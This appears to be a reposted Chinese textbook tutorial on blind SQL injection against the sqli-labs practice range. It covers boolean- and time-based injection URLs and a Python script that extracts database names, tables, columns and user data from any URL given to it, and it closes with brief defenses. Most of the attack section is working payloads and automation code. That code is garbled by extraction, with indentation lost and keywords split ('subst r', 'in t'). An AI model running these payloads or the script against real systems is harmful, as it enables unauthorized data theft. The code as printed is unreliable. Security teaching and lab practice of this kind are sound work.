SQL盲注漏洞

2024-01-30 22:20
文章标签 sql 漏洞 database 盲注

本文主要是介绍SQL盲注漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

 

在进行SQL注入攻击时,若确定有注入点但因页面没有回显位来显示数据, 导致无法获取有效信息时,就要进行SQL盲注。

 

 

 

 

 

 

5.3.1    简介

 

目前常用的SQL盲注主要分以下两类:

·基于布尔的盲注:当页面没有回显位、不会输出SQL语句报错信息时,通过 返回页面响应的正常或不正常的情况来进行注入。

·基于时间的盲注:当页面没有回显位、不会输出SQL语句报错信息、不论 SQL语句的执行结果对错都返回一样的页面时,通过页面的响应时间来进行注 入。

上述两种盲注方式都存在的缺点就是需要耗费大量的精力去进行测试,因此 在渗透测中常使用工具或脚本来代替手工操作,完成烦琐的注入过程。

sqli-labs是由一位印度程序员编写的SQL注入练习靶场,包含多种类型的注入 方式,接下来将会在sqli-labs环境下具体讲解SQL盲注脚本的编写过程。

 

 

 

 

 

5.3.2    基于布尔型SQL盲注检测

 

本节以sqli-labs靶场的第八关为例。该关的SQL查询语句为SELECT*FROM users WHERE id='$id'LIMIT 0 ,1。

如果盲注的结果正确,则会显示“You are in...........” ,如图5-5所示。

如果盲注的结果错误,则不会显示“You are in...........” ,如图5-6所示。

那么,我们只需要提前构造相应的注入语句,然后根据页面是否回显“You

are in...........”来进行判断即可,让脚本进行自动化操作。笔者已经构造好所需的

Payload ,代码如下所示:

>>> http://127 .0 .0 .1/sql/Less-8/?id=1 ' and if(length(database())=8,1,0) %23

# 获取数据库名

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if(ascii(subst r(database(),1,1))=115, 1,0) %23

# 获取数据库表的数量

>>> http://127 .0 .0 .1/sql/Less-8/?id=1 ' and if((select count(*)table_name

from information_schema .tables where table_schema= 'security ')=4,1,0) %23

# 获取数据库表名称的长度

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if((select LENGTH(table_name) from information_schema .tables where table_schema= 'security ' limit 1,1)=

8,1,0) %23

# 获取数据库表名

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if(ascii(subst r((select table_name

from information_schema .tables where table_schema= 'security ' limit 0,1), 1,1))=101,1,0) %23

# 获取表的字段数量

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if((select count(column_name) from

information_schema .columns where table_schema= 'security ' and table_name= 'users ')=3,1,0) %23

# 获取字段的长度

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if((select length(column_name) from

information_schema .columns where table_schema= 'security ' and table_name= 'users ' limit 0,1)=2,1,0) %23

# 获取表的字段

>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if(ascii(subst r((select column_name  from information_schema .columns where table_schema= 'security ' and table _name= 'users ' limit 0,1),1,1))=105,1,0) %23

# 获取字段数据的数量

>>> http://127 .0 .0 .1/Less-8/?id=1 'and if ((select count(username) from

users)=13,1,0) %23

# 获取字段数据的长度

>>> http://127 .0 .0 .1/Less-8/?id=1 'and if ((select length(username) from

users limit 0,1)=4,1,0) %23

# 获取字段数据

>>> http://127 .0 .0 .1/Less-8/?id=1 'and if (ascii(subst r((select username

from users limit 0,1),1,1))=68,1,0) %23

 

 

 

 

 

图5-6    布尔注入结果错误

1)写入脚本信息,导入模块,定义存储数据库数据的变量且定义一个request 对象用来进行请求,代码如下:

 

#!/usr/bin/python3

# -*- coding: utf-8 -*-

 

import requests

import optparse

 

# 存放数据库名的变量

DBName = ""

# 存放数据库表的变量

DBTables = []

# 存放数据库字段的变量

DBColumns = []

# 存放数据字典的变量,键为字段名,值为字段数据列表

DBData = {}

# 若页面返回真,则会出现“You are in . . . . . . . . . . .”

flag = "You are in . . . . . . . . . . ."

# 设置重连次数以及将连接改为短连接

# 防止因为HTTP连接数过多导致的 Max retries exceeded with url问题

requests .adapters .DEFAULT_RETRIES = 5

conn = requests .session()

conn .keep_alive = False

2)编写主函数,用来调用各个函数进行自动化注入,代码如下:

 

 

 

 

 

 

# 盲注主函数

def StartSqli(url) :

GetDBName(url)

print("[+]当前数据库名 :{0}" .format(DBName))

GetDBTables(url,DBName)

print("[+]数据库{0}的表如下 :" .format(DBName))

for item in range(len(DBTables)) :

print("(" + str(item + 1) + ")" + DBTables[item])

tableIndex = in t(input("[*]请输入要查看的表的序号 :")) - 1

GetDBColumns(url,DBName,DBTables[tableIndex])

while True:

print("[+]数据表{0}的字段如下 :" .format(DBTables[tableIndex]))

for item in range(len(DBColumns)) :

print("(" + str(item + 1) + ")" + DBColumns[item])

columnIndex = in t(input("[*]请输入要查看的字段的序号(输入0退出) :"))-1 if(columnIndex == -1) :

break

else:

GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

 

3)编写获取数据库名的函数,根据得到的URL获取数据库名并把最后的结 果存入DBName:

def GetDBName(url) :

# 引用全局变量DBName,用来存放网页当前使用的数据库名

global DBName

print("[-]开始获取数据库名的长度")

# 保存数据库名长度的变量

DBNameLen = 0

# 用于检查数据库名长度的payload

payload = " ' and if(length(database())={0},1,0) %23"

# 把URL和payload进行拼接,得到最终请求的URL

targetUrl = url + payload

# 用for循环来遍历请求,得到数据库名的长度

for DBNameLen in range(1, 99) :

# 对payload中的参数进行赋值猜解

res = conn .get(targetUrl.format(DBNameLen))

# 判断flag是否在返回的页面中

if flag in res .content.decode("utf-8") :

print("[+]数据库名的长度 :" + str(DBNameLen))

break

print("[-]开始获取数据库名")

payload = " ' and if(ascii(subst r(database(),{0},1))={1},1,0) %23"

targetUrl = url + payload

# a表示subst r()函数的截取起始位置

for a in range(1, DBNameLen+1) :

# b表示在ASCII码中33~126位可显示的字符

for b in range(33, 127) :

res = conn .get(targetUrl.format(a,b))

if flag in res .content.decode("utf-8") :

DBName += chr(b)

print("[-]"+ DBName)

break

4)编写获取数据库表的函数,根据获取到的URL和数据库名获取数据库中 的表,并把结果以列表的形式存入DBTables:

 

# 获取数据库表的函数

def GetDBTables(url, dbname) :

global DBTables

# 存放数据库表数量的变量

 

 

 

 

 

DBTableCount = 0

print("[-]开始获取{0}数据库表数量 :" .format(dbname))

# 获取数据库表数量的payload

payload = " ' and if((select count(*)table_name from information_schema . tables where table_schema= '{0} ')={1},1,0) %23"

targetUrl = url + payload

# 开始遍历获取数据库表的数量

for DBTableCount in range(1, 99) :

res = conn .get(targetUrl.format(dbname, DBTableCount))

if flag in res .content.decode("utf-8") :

print("[+]{0}数据库中表的数量为 :{1}" .format(dbname, DBTableCount)) break

print("[-]开始获取{0}数据库的表" .format(dbname))

# 遍历表名时临时存放表名长度的变量

tableLen = 0

# a表示当前正在获取表的索引

for a in range(0,DBTableCount) :

print("[-]正在获取第{0}个表名" .format(a+1))

# 先获取当前表名的长度

for tableLen in range(1, 99) :

payload = " ' and if((select LENGTH(table_name) from

information_schema .tables where table_schema= '{0} '

limit {1},1)={2},1,0) %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbname, a, tableLen))

if flag in res .content.decode("utf-8") :

break

# 开始获取表名

# 临时存放当前表名的变量

table = ""

# b表示当前表名猜解的位置

for b in range(1, tableLen+1) :

payload = " ' and if(ascii(subst r((select table_name from

information_schema .tables where table_schema= '{0} ' limit {1},1),{2},1))={3},1,0) %23"

targetUrl = url + payload

# c表示在ASCII码中33~126位可显示的字符

for c in range(33, 127) :

res = conn .get(targetUrl.format(dbname, a, b, c))

if flag in res .content.decode("utf-8") :

table += chr(c)

print(table)

break

# 把获取到的表名加入DBTables

DBTables .append(table)

# 清空table,用来继续获取下一个表名

table = ""

5)编写获取表字段的函数,根据获取的URL 、数据库名和数据库表,获取 表的字段并把结果以列表的形式存入DBColumns:

def GetDBColumns(url, dbname, dbtable) :

global DBColumns

# 存放字段数量的变量

DBColumnCount = 0

print("[-]开始获取{0}数据表的字段数 :" .format(dbtable))

for DBColumnCount in range(99) :

payload = " ' and if((select count(column_name) from information_  schema .columns where table_schema= '{0} ' and table_name= '{1} ')

={2},1,0) %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbname, dbtable, DBColumnCount)) if flag in res .content.decode("utf-8") :

print("[-]{0}数据表的字段数为 :{1}" .format(dbtable, DBColumnCount))

break

# 开始获取字段的名称

 

 

 

 

 

# 保存字段名的临时变量

column = ""

# a表示当前获取字段的索引

for a in range(0, DBColumnCount) :

print("[-]正在获取第{0}个字段名" .format(a+1))

# 先获取字段的长度

for columnLen in range(99) :

payload = " ' and if((select length(column_name) from information_ schema .columns where table_schema= '{0} ' and table_name= '{1} '  limit {2},1)={3},1,0) %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbname, dbtable, a, columnLen)) if flag in res .content.decode("utf-8") :

break

# b表示当前字段名猜解的位置

for b in range(1, columnLen+1) :

payload = " ' and if(ascii(subst r((select column_name from

information_schema .columns where table_schema= '{0} ' and

table_name= '{1} ' limit {2},1),{3},1))={4},1,0) %23"

targetUrl = url + payload

# c表示在ASCII码中33~126位可显示的字符

for c in range(33, 127) :

res = conn .get(targetUrl.format(dbname, dbtable, a, b, c)) if flag in res .content.decode("utf-8") :

column += chr(c)

print(column)

break

# 把获取到的字段名加入DBColumns

DBColumns .append(column)

# 清空column,用来继续获取下一个字段名

column = ""

6)编写数据获取函数,根据获取的URL 、数据表名和数据表字段来获取数 据。数据以字典的形式存放,键为字段名,值为字段数据形成的列表:

# 获取表数据的函数

def GetDBData(url,dbtable,dbcolumn) :

global DBData

# 先获取字段的数据数量

DBDataCount = 0

print("[-]开始获取{0}表{1}字段的数据数量" .format(dbtable, dbcolumn))

for DBDataCount in range(99) :

payload = "'and if ((select count({0}) from {1})={2},1,0)  %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbcolumn, dbtable, DBDataCount)) if flag in res .content.decode("utf-8") :

print("[-]{0}表{1}字段的数据数量为 :{2}" .format(dbtable, dbcolumn, DBDataCount))

break

for a in range(0, DBDataCount) :

print("[-]正在获取{0}的第{1}个数据" .format(dbcolumn, a+1))

# 先获取这个数据的长度

dataLen = 0

for dataLen in range(99) :

payload = "'and if ((select length({0}) from {1} limit {2},1) ={3},1,0)  %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbcolumn, dbtable, a, dataLen)) if flag in res .content.decode("utf-8") :

print("[-]第{0}个数据长度为 :{1}" .format(a+1, dataLen))

break

# 临时存放数据内容变量

data = ""

# 开始获取数据的具体内容

# b表示当前数据内容猜解的位置

for b in range(1, dataLen+1) :

for c in range(33, 127) :

 

 

 

 

 

payload = "'and if (ascii(subst r((select {0} from {1} limit {2},1),{3},1))={4},1,0)  %23"

targetUrl = url + payload

res = conn .get(targetUrl.format(dbcolumn, dbtable, a, b, c)) if flag in res .content.decode("utf-8") :

data += chr(c)

print(data)

break

# 放到以字段名为键,值为列表的字典中

DBData .setdefault(dbcolumn,[]) .append(data)

print(DBData)

# 把data清空,继续获取下一个数据

data = ""

 

7)编写主函数,用来获取目标的URL并传递给StartSqli:

if __name__ == '__main__ ' :

parser = optparse .OptionParser( 'usage: python %prog -u url \n\n ' 'Example: python %prog  -u http://192 .168 .61 .1/sql/Less-8/?id=1\n ')

# 目标URL参数-u

parser .add_option( '-u ', '--url ', dest= 'targetURL ',default= 'http://

127.0.0.1/sql/Less-8/?id=1', type= 'string ',help= 'target URL ')

(options, args) = parser .parse_args()

StartSqli(options .targetURL)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5.3.3    基于时间型SQL盲注检测

 

本节以sqli-labs靶场的第九关为例。该关的SQL查询语句为SELECT*FROM users WHERE id='$id'LIMIT 0 ,1。

这关不管语句正确还是错误,页面始终显示“Your are in...........” ,如图5-7所

示,所以我们只能通过基于时间的盲注方法来获取数据,根据页面的返回时间来 判断结果。

 

完成注入过程所需的Payload的代码如下:

# 判断数据库名的长度

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(length(database())=8,sleep(5), 0) %23

# 获取数据库名

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r(database(),1,1)) =115,sleep(5),0)%23

# 获取数据库中表的数量

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select count(table_name) from

information_schema .tables where table_schema= 'security ' )=4,sleep(5),0) %23

# 获取数据库表的长度

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select length(table_name)

from information_schema .tables where table_schema= 'security ' limit 0,1)= 6,sleep(5),0) %23

# 获取数据库表

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r((select table_

name from information_schema .tables where table_schema= 'security ' limit 0,1),1,1))=101,sleep(5),0)%23

# 获取数据库表中字段的数量

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select count(column_name) from information_schema .columns where table_schema= 'security ' and

table_name= 'users ')=3,sleep(5),0) %23

# 获取表字段的长度

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select length(column_name) from information_schema .columns where table_schema= 'security ' and

table_name= 'users ' limit 0,1)=2,sleep(5),0) %23

 

 

 

 

# 获取数据库字段

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r((select column_ name from information_schema .columns where table_schema= 'security ' and table_name= 'users ' limit 0,1),1,1))=105,sleep(5),0) %23

# 获取字段数据的数量

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select count(username) from users)=13,sleep(5),0) %23

# 获取字段数据的长度

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select length(username) from users limit 0,1)=4,sleep(5),0) %23

# 获取数据内容

>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r((select username from users limit 0,1),1,1))=68,sleep(5),0) %23

 

本节的代码与基于布尔的盲注脚本十分相似,不同之处在于此处脚本需要用 到time模块,判断结果的语句和所使用的Payload不相同。以下将列出部分代码, 读者可当作练习自行完成编写,若有疑问,可参考源代码。

获取数据库名的函数代码如下:

# 获取数据库名的函数

def GetDBName(url) :

# 引用全局变量DBName,用来存放网页当前使用的数据库名

global DBName

print("[-]开始获取数据库名的长度")

# 保存数据库名长度的变量

DBNameLen = 0

# 用于检查数据库名长度的payload

payload = " ' and if(length(database())={0},sleep(5),0) %23"

# 把URL和payload进行拼接,得到最终的请求URL

targetUrl = url + payload

# 用for循环来遍历请求,得到数据库名的长度

for DBNameLen in range(1, 99) :

# 开始时间

timeStart = time .time()

# 开始访问

res = conn .get(targetUrl.format(DBNameLen))

# 结束时间

timeEnd = time .time()

# 判断时间差

if timeEnd - timeStart >= 5:

print("[+]数据库名的长度 :" + str(DBNameLen))

break

print("[-]开始获取数据库名")

payload = " ' and if(ascii(subst r(database(),{0},1))={1},sleep(5),0)%23" targetUrl = url + payload

# a表示subst r()函数的截取起始位置

for a in range(1, DBNameLen+1) :

# b表示在ASCII码中33~126位可显示的字符

for b in range(33, 127) :

timeStart = time .time()

res = conn .get(targetUrl.format(a,b))

timeEnd = time .time()

if timeEnd - timeStart >= 5:

DBName += chr(b)

print("[-]"+ DBName)

break

下面测试一下效果。

 

 

 

 

 

获取数据库名如下所示:

获取数据库表如下所示:

 

 

 

 

 

获取字段数据,如下所示:

 

 

 

 

 

 

 

 

 

 

 

5.3.4    防御策略

 

SQL盲注属于SQL注入的一种方式。下面介绍的几种防御方法可以有效降低 SQL注入对网站的危害:

1)用参数化查询的方式代替动态SQL。

2)避免显示数据库的错误信息。

3)在服务器上安装Web应用程序防火墙(Web Application Firewall, WAF)。

4)限制数据库的权限。

5)对于数据库中的敏感信息进行加密保存。

6)根据需求升级数据库的版本,避免旧版数据库中的已知漏洞。

 

这篇关于SQL盲注漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/661731

相关文章

Java通过驱动包(jar包)连接MySQL数据库的步骤总结及验证方式

《Java通过驱动包(jar包)连接MySQL数据库的步骤总结及验证方式》本文详细介绍如何使用Java通过JDBC连接MySQL数据库,包括下载驱动、配置Eclipse环境、检测数据库连接等关键步骤,... 目录一、下载驱动包二、放jar包三、检测数据库连接JavaJava 如何使用 JDBC 连接 mys

SQL中如何添加数据(常见方法及示例)

《SQL中如何添加数据(常见方法及示例)》SQL全称为StructuredQueryLanguage,是一种用于管理关系数据库的标准编程语言,下面给大家介绍SQL中如何添加数据,感兴趣的朋友一起看看吧... 目录在mysql中,有多种方法可以添加数据。以下是一些常见的方法及其示例。1. 使用INSERT I

Qt使用QSqlDatabase连接MySQL实现增删改查功能

《Qt使用QSqlDatabase连接MySQL实现增删改查功能》这篇文章主要为大家详细介绍了Qt如何使用QSqlDatabase连接MySQL实现增删改查功能,文中的示例代码讲解详细,感兴趣的小伙伴... 目录一、创建数据表二、连接mysql数据库三、封装成一个完整的轻量级 ORM 风格类3.1 表结构

MySQL 中的 CAST 函数详解及常见用法

《MySQL中的CAST函数详解及常见用法》CAST函数是MySQL中用于数据类型转换的重要函数,它允许你将一个值从一种数据类型转换为另一种数据类型,本文给大家介绍MySQL中的CAST... 目录mysql 中的 CAST 函数详解一、基本语法二、支持的数据类型三、常见用法示例1. 字符串转数字2. 数字

Mysql实现范围分区表(新增、删除、重组、查看)

《Mysql实现范围分区表(新增、删除、重组、查看)》MySQL分区表的四种类型(范围、哈希、列表、键值),主要介绍了范围分区的创建、查询、添加、删除及重组织操作,具有一定的参考价值,感兴趣的可以了解... 目录一、mysql分区表分类二、范围分区(Range Partitioning1、新建分区表:2、分

MySQL 定时新增分区的实现示例

《MySQL定时新增分区的实现示例》本文主要介绍了通过存储过程和定时任务实现MySQL分区的自动创建,解决大数据量下手动维护的繁琐问题,具有一定的参考价值,感兴趣的可以了解一下... mysql创建好分区之后,有时候会需要自动创建分区。比如,一些表数据量非常大,有些数据是热点数据,按照日期分区MululbU

SQL Server配置管理器无法打开的四种解决方法

《SQLServer配置管理器无法打开的四种解决方法》本文总结了SQLServer配置管理器无法打开的四种解决方法,文中通过图文示例介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的... 目录方法一:桌面图标进入方法二:运行窗口进入检查版本号对照表php方法三:查找文件路径方法四:检查 S

MySQL 删除数据详解(最新整理)

《MySQL删除数据详解(最新整理)》:本文主要介绍MySQL删除数据的相关知识,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录一、前言二、mysql 中的三种删除方式1.DELETE语句✅ 基本语法: 示例:2.TRUNCATE语句✅ 基本语

MySQL中查找重复值的实现

《MySQL中查找重复值的实现》查找重复值是一项常见需求,比如在数据清理、数据分析、数据质量检查等场景下,我们常常需要找出表中某列或多列的重复值,具有一定的参考价值,感兴趣的可以了解一下... 目录技术背景实现步骤方法一:使用GROUP BY和HAVING子句方法二:仅返回重复值方法三:返回完整记录方法四:

从入门到精通MySQL联合查询

《从入门到精通MySQL联合查询》:本文主要介绍从入门到精通MySQL联合查询,本文通过实例代码给大家介绍的非常详细,需要的朋友可以参考下... 目录摘要1. 多表联合查询时mysql内部原理2. 内连接3. 外连接4. 自连接5. 子查询6. 合并查询7. 插入查询结果摘要前面我们学习了数据库设计时要满